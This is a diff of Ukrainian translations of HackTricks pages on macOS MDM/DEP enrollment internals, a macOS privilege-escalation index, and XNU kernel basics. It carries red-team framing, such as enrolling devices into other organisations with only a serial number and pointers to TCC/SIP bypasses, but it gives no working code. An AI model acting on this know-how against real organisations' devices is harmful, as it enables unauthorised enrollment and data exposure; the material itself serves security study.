* **Команди** надсилаються з MDM на пристрій у вигляді **словників, закодованих у форматі plist**
|
||||
* Все через **HTTPS**. Сервери MDM можуть бути (і зазвичай) закріплені.
|
||||
* Apple надає вендору MDM **сертифікат APNs** для аутентифікації
|
||||
* Apple надає вендору MDM сертифікат **APNs для аутентифікації**
|
||||
|
||||
### DEP
|
||||
|
||||
* **3 API**: 1 для реселерів, 1 для вендорів MDM, 1 для ідентифікації пристроїв (недокументований):
|
||||
* Так званий [API "хмарної служби" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Використовується MDM-серверами для асоціації профілів DEP з конкретними пристроями.
|
||||
* [API DEP, використований Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) для реєстрації пристроїв, перевірки статусу реєстрації та перевірки статусу транзакції.
|
||||
* [API DEP, яке використовується Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) для реєстрації пристроїв, перевірки статусу реєстрації та перевірки статусу транзакції.
|
||||
* Недокументований приватний API DEP. Використовується пристроями Apple для запиту свого профілю DEP. На macOS відповідальний за комунікацію через цей API є бінарний файл `cloudconfigurationd`.
|
||||
* Більш сучасний та на базі **JSON** (на відміну від plist)
|
||||
* Сучасний та **JSON**-орієнтований (на відміну від plist)
|
||||
* Apple надає вендору MDM **токен OAuth**
|
||||
|
||||
**API "хмарної служби" DEP**
|
||||
|
||||
* RESTful
|
||||
* синхронізувати записи пристроїв від Apple до сервера MDM
|
||||
* синхронізувати "профілі DEP" до Apple від сервера MDM (доставлені Apple на пристрій пізніше)
|
||||
* синхронізує записи пристроїв від Apple до сервера MDM
|
||||
* синхронізує "профілі DEP" від сервера MDM до Apple (доставлені Apple на пристрій пізніше)
|
||||
* Профіль DEP містить:
|
||||
* URL сервера вендора MDM
|
||||
* Додаткові довірені сертифікати для URL сервера (необов'язкове закріплення)
|
||||
|
@ -101,14 +105,14 @@
|
|||
6. Встановлення профілю (Пристрій) включаючи навантаження MDM, SCEP та кореневого сертифіката
|
||||
7. Видача команди MDM (Пристрій)
|
||||
|
||||
![](<../../../.gitbook/assets/image (564).png>)
|
||||
![](<../../../.gitbook/assets/image (694).png>)
|
||||
|
||||
Файл `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` експортує функції, які можна вважати **високорівневими "кроками"** процесу реєстрації.
|
||||
### Крок 4: Перевірка DEP - Отримання запису активації
|
||||
|
||||
Ця частина процесу відбувається, коли **користувач запускає Mac вперше** (або після повного видалення)
|
||||
|
||||
![](<../../../.gitbook/assets/image (568).png>)
|
||||
![](<../../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
або при виконанні `sudo profiles show -type enrollment`
|
||||
|
||||
|
@ -116,36 +120,36 @@
|
|||
* Запис активації - внутрішня назва для **DEP "профілю"**
|
||||
* Починається, як тільки пристрій підключається до Інтернету
|
||||
* Керується **`CPFetchActivationRecord`**
|
||||
* Реалізовано через **`cloudconfigurationd`** через XPC. **"Допоміжний асистент**" (коли пристрій вперше запускається) або команда **`profiles`** буде **звертатися до цього демона** для отримання запису активації.
|
||||
* Реалізовано через **`cloudconfigurationd`** за допомогою XPC. **"Допоміжний асистент**" (коли пристрій вперше запускається) або команда **`profiles`** буде **звертатися до цього демона** для отримання запису активації.
|
||||
* LaunchDaemon (завжди працює як root)
|
||||
|
||||
Слідує кілька кроків для отримання запису активації, виконаних **`MCTeslaConfigurationFetcher`**. Цей процес використовує шифрування під назвою **Absinthe**
|
||||
Це включає кілька кроків для отримання запису активації, виконаних за допомогою **`MCTeslaConfigurationFetcher`**. Цей процес використовує шифрування під назвою **Absinthe**
|
||||
|
||||
1. Отримати **сертифікат**
|
||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
2. **Ініціалізувати** стан з сертифікату (**`NACInit`**)
|
||||
1. Використовує різні дані, специфічні для пристрою (тобто **серійний номер через `IOKit`**)
|
||||
1. Використовує різноманітні дані, специфічні для пристрою (тобто **серійний номер через `IOKit`**)
|
||||
3. Отримати **сесійний ключ**
|
||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
4. Встановити сесію (**`NACKeyEstablishment`**)
|
||||
5. Зробити запит
|
||||
1. POST на [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) надсилаючи дані `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
1. POST на [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile), надсилаючи дані `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. JSON навантаження шифрується за допомогою Absinthe (**`NACSign`**)
|
||||
3. Усі запити через HTTPs, використовуються вбудовані кореневі сертифікати
|
||||
|
||||
![](<../../../.gitbook/assets/image (566).png>)
|
||||
![](<../../../.gitbook/assets/image (566) (1).png>)
|
||||
|
||||
Відповідь - це JSON словник з деякими важливими даними, такими як:
|
||||
|
||||
* **url**: URL хоста вендора MDM для активаційного профілю
|
||||
* **url**: URL хоста постачальника MDM для активаційного профілю
|
||||
* **anchor-certs**: Масив DER сертифікатів, які використовуються як довірені якорі
|
||||
|
||||
### **Крок 5: Отримання профілю**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567).png>)
|
||||
![](<../../../.gitbook/assets/image (444).png>)
|
||||
|
||||
* Запит надсилається на **URL, вказаний в DEP профілі**.
|
||||
* Для **оцінки довіри** використовуються **якірні сертифікати**, якщо вони надані.
|
||||
* Запит надсилається на **url, вказаний у профілі DEP**.
|
||||
* Для **оцінки довіри** використовуються **якірні сертифікати** у разі їх наявності.
|
||||
* Нагадування: властивість **anchor\_certs** профілю DEP
|
||||
* **Запит - це простий .plist** з ідентифікацією пристрою
|
||||
* Приклади: **UDID, версія ОС**.
|
||||
|
@ -153,7 +157,7 @@
|
|||
* Підписаний за допомогою **сертифіката ідентифікації пристрою (від APNS)**
|
||||
* **Ланцюжок сертифікатів** включає прострочений **Apple iPhone Device CA**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>)
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
|
||||
### Крок 6: Встановлення профілю
|
||||
|
||||
|
@ -167,22 +171,22 @@
|
|||
* Кожен тип навантаження пов'язаний з плагіном
|
||||
* Може бути XPC (у фреймворку) або класичний Cocoa (у ManagedClient.app)
|
||||
* Приклад:
|
||||
* Навантаження сертифіката використовують CertificateService.xpc
|
||||
* Навантаження сертифіката використовує CertificateService.xpc
|
||||
|
||||
Зазвичай **профіль активації**, наданий вендором MDM, буде **включати наступні навантаження**:
|
||||
Зазвичай **профіль активації**, наданий постачальником MDM, буде **включати наступні навантаження**:
|
||||
|
||||
* `com.apple.mdm`: для **реєстрації** пристрою в MDM
|
||||
* `com.apple.security.scep`: для безпечного надання **клієнтського сертифіката** пристрою.
|
||||
* `com.apple.security.pem`: для **встановлення довірених сертифікатів CA** в системний ключовий ланцюжок пристрою.
|
||||
* `com.apple.security.pem`: для **встановлення довірених сертифікатів ЦС** в системний ключовий ланцюжок пристрою.
|
||||
* Встановлення навантаження MDM еквівалентно **перевірці MDM в документації**
|
||||
* Навантаження містить ключові властивості:
|
||||
*
|
||||
* URL перевірки MDM (**`CheckInURL`**)
|
||||
* URL опитування команд MDM (**`ServerURL`**) + тема APNs для його запуску
|
||||
* Для встановлення навантаження MDM, запит надсилається на **`CheckInURL`**
|
||||
* URL опитування команд MDM (**`ServerURL`**) + тема APNs для її запуску
|
||||
* Для встановлення навантаження MDM надсилається запит на **`CheckInURL`**
|
||||
* Реалізовано в **`mdmclient`**
|
||||
* Навантаження MDM може залежати від інших навантажень
|
||||
* Дозволяє **запитам бути закріпленими за конкретними сертифікатами**:
|
||||
* Дозволяє **запити прив'язувати до конкретних сертифікатів**:
|
||||
* Властивість: **`CheckInURLPinningCertificateUUIDs`**
|
||||
* Властивість: **`ServerURLPinningCertificateUUIDs`**
|
||||
* Доставляється через навантаження PEM
|
||||
|
@ -192,9 +196,35 @@
|
|||
|
||||
### **Крок 7: Прослуховування команд MDM**
|
||||
|
||||
* Після завершення перевірки MDM вендор може **видавати сповіщення про натискання за допомогою APNs**
|
||||
* Після завершення перевірки MDM постачальник може **видавати сповіщення про натискання за допомогою APNs**
|
||||
* Після отримання, обробляється **`mdmclient`**
|
||||
* Для опитування команд MDM, запит надсилається на ServerURL
|
||||
* Для опитування команд MDM надсилається запит на ServerURL
|
||||
* Використовується раніше встановлене навантаження MDM:
|
||||
* **`ServerURLPinningCertificateUUIDs`** для закріплення запиту
|
||||
* **`ServerURLPinningCertificateUUIDs`** для прив'язки запиту
|
||||
* **`IdentityCertificateUUID`** для TLS клієнтського сертифіката
|
||||
|
||||
## Атаки
|
||||
|
||||
### Реєстрація пристроїв в інших організаціях
|
||||
|
||||
Як вже зазначалося, для спроби зареєструвати пристрій в організації **потрібен лише серійний номер, що належить цій організації**. Після реєстрації пристрою, кілька організацій встановить чутливі дані на новому пристрої: сертифікати, додатки, паролі WiFi, конфігурації VPN [і так далі](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Отже, це може бути небезпечним входом для атак, якщо процес реєстрації не захищений належним чином:
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
# Безпека та підвищення привілеїв в macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
|
||||
|
||||
**Інсайти щодо Хакінгу**\
|
||||
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
|
||||
**Інсайти щодо хакінгу**\
|
||||
Вивчайте контент, який досліджує захоплення та виклики хакінгу
|
||||
|
||||
**Новини про Хакінг у Реальному Часі**\
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
|
||||
|
||||
**Останні Оголошення**\
|
||||
Будьте в курсі нових баг-баунті, які запускаються, та важливих оновлень платформи
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з топовими хакерами вже сьогодні!
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **і почніть співпрацювати з найкращими хакерами вже сьогодні!**
|
||||
|
||||
## Основи MacOS
|
||||
|
||||
Якщо ви не знайомі з macOS, вам слід почати вивчати основи macOS:
|
||||
Якщо ви не знайомі з macOS, вам слід почати з основ:
|
||||
|
||||
* Спеціальні файли та дозволи macOS:
|
||||
* Спеціальні файли та дозволи в macOS:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/" %}
|
||||
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
|
||||
|
@ -64,11 +65,11 @@
|
|||
{% endcontent-ref %}
|
||||
|
||||
* **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Для завантаження `tar.gz` змініть URL, такий як [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/), на [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
* Для завантаження `tar.gz` змініть URL, наприклад, з [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) на [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
У компаніях **системи macOS ймовірно будуть керуватися MDM**. Тому з погляду атакуючого важливо знати **як це працює**:
|
||||
У компаніях системи macOS ймовірно будуть **керуватися за допомогою MDM**. Тому з погляду атакувальника цікаво знати **як це працює**:
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
|
@ -86,45 +87,45 @@
|
|||
[macos-security-protections](macos-security-protections/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Поверхня Атаки
|
||||
## Поверхня атаки
|
||||
|
||||
### Дозволи на Файли
|
||||
### Дозволи на файли
|
||||
|
||||
Якщо **процес, який працює в якості root, записує** файл, яким може керувати користувач, користувач може скористатися цим для **підвищення привілеїв**.\
|
||||
Це може статися в таких ситуаціях:
|
||||
Це може статися у таких ситуаціях:
|
||||
|
||||
* Файл, який вже був створений користувачем (належить користувачеві)
|
||||
* Файл вже був створений користувачем (належить користувачеві)
|
||||
* Файл може бути записаний користувачем через групу
|
||||
* Файл знаходиться всередині каталогу, який належить користувачеві (користувач може створити файл)
|
||||
* Файл знаходиться всередині каталогу, який належить root, але користувач має права на запис через групу (користувач може створити файл)
|
||||
|
||||
Можливість **створення файлу**, який буде **використовуватися root**, дозволяє користувачеві **використовувати його вміст** або навіть створювати **символічні посилання/жорсткі посилання**, щоб вказати його в інше місце.
|
||||
|
||||
Для цього типу уразливостей не забувайте **перевіряти вразливі встановлювачі `.pkg`**:
|
||||
Для цього типу вразливостей не забувайте **перевіряти вразливі встановлювачі `.pkg`**:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Розширення Файлів та Обробники URL-схем додатків
|
||||
### Розширення файлів та обробники URL-схем додатків
|
||||
|
||||
Дивні додатки, зареєстровані за допомогою розширень файлів, можуть бути використані, і різні програми можуть бути зареєстровані для відкриття конкретних протоколів
|
||||
Дивні додатки, зареєстровані за допомогою розширень файлів, можуть бути використані для зловживання, і різні додатки можуть бути зареєстровані для відкриття конкретних протоколів
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Підвищення Привілеїв TCC / SIP в macOS
|
||||
## Підвищення привілеїв TCC / SIP в macOS
|
||||
|
||||
У macOS **додатки та бінарні файли можуть мати дозволи** на доступ до папок або налаштувань, що робить їх більш привілейованими, ніж інші.
|
||||
|
||||
Отже, атакуючому, який хоче успішно скомпрометувати машину macOS, потрібно **підвищити свої привілеї TCC** (або навіть **обійти SIP**, залежно від його потреб).
|
||||
Отже, атакувальник, який хоче успішно скомпрометувати машину macOS, повинен **підвищити свої привілеї TCC** (або навіть **обійти SIP**, залежно від своїх потреб).
|
||||
|
||||
Ці привілеї зазвичай надаються у формі **привілеїв**, з якими додаток підписаний, або додаток може запитати деякі доступи, і після **затвердження користувачем** їх можна знайти в **базах даних TCC**. Інший спосіб, яким процес може отримати ці привілеї, - це бути **дитиною процесу** з цими **привілеями**, оскільки вони зазвичай **успадковуються**.
|
||||
Ці привілеї зазвичай надаються у формі **привілеїв**, з якими додаток підписаний, або додаток може запитати деякі доступи, і після **затвердження користувачем** вони можуть бути знайдені в **базах даних TCC**. Інший спосіб, яким процес може отримати ці привілеї, - це бути **дитиною процесу** з цими **привілеями**, оскільки вони зазвичай **успадковуються**.
|
||||
|
||||
Перейдіть за цими посиланнями, щоб знайти різні способи [**підвищення привілеїв в TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), для [**обходу TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) та як у минулому [**було обійдено SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Перейдіть за цими посиланнями, щоб знайти різні способи [**підвищення привілеїв в TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**обхід TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) та як у минулому [**було обійдено SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## Традиційне Підвищення Привілеїв в macOS
|
||||
## Традиційне підвищення привілеїв в macOS
|
||||
|
||||
Звісно, з погляду червоних команд вам також слід зацікавитися підвищенням до root. Перевірте наступний пост для деяких підказок:
|
||||
|
||||
|
@ -139,7 +140,7 @@
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
|
||||
|
||||
|
@ -152,18 +153,19 @@
|
|||
**Останні Оголошення**\
|
||||
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з топовими хакерами вже сьогодні!
|
||||
Приєднуйтесь до нас на [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# macOS Kernel & System Extensions
|
||||
# Ядро та Системні Розширення macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Червоної Команди HackTricks (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Червоної Команди HackTricks (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ядро XNU
|
||||
|
||||
**Основа macOS - це XNU**, що означає "X не є Unix". Це ядро фундаментально складається з **мікроядра Mach** (про яке буде розповідь пізніше), **та** елементів з Berkeley Software Distribution (**BSD**). XNU також надає платформу для **ядерних драйверів через систему, що називається I/O Kit**. Ядро XNU є частиною проекту з відкритим кодом Darwin, що означає, що **його вихідний код доступний безкоштовно**.
|
||||
**Основа macOS - це XNU**, що означає "X не є Unix". Це ядро фундаментально складається з **мікроядра Mach** (про яке буде розповідь пізніше), **та** елементів з Berkeley Software Distribution (**BSD**). XNU також надає платформу для **ядерних драйверів через систему, що називається I/O Kit**. Ядро XNU є частиною відкритого проекту Darwin, що означає, що **його вихідний код є вільно доступним**.
|
||||
|
||||
З погляду дослідника з безпеки або розробника Unix, **macOS** може виглядати досить **схожим** на систему **FreeBSD** з елегантним графічним інтерфейсом та низкою власних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності внесення змін, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, через те, що ядро XNU включає Mach, існують деякі значні відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
||||
З погляду дослідника з безпеки або розробника Unix, **macOS** може виглядати досить **схожим** на систему **FreeBSD** з елегантним GUI та масою власних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності внесення змін, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, через те, що ядро XNU включає Mach, існують деякі значні відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
||||
|
||||
Відкрита версія XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach - це **мікроядро**, призначене бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізування** кількості **коду**, що виконується в **просторі ядра**, і натомість дозволяти багатьом типовим функціям ядра, таким як файлова система, мережа та введення/виведення, **виконуватися як завдання на рівні користувача**.
|
||||
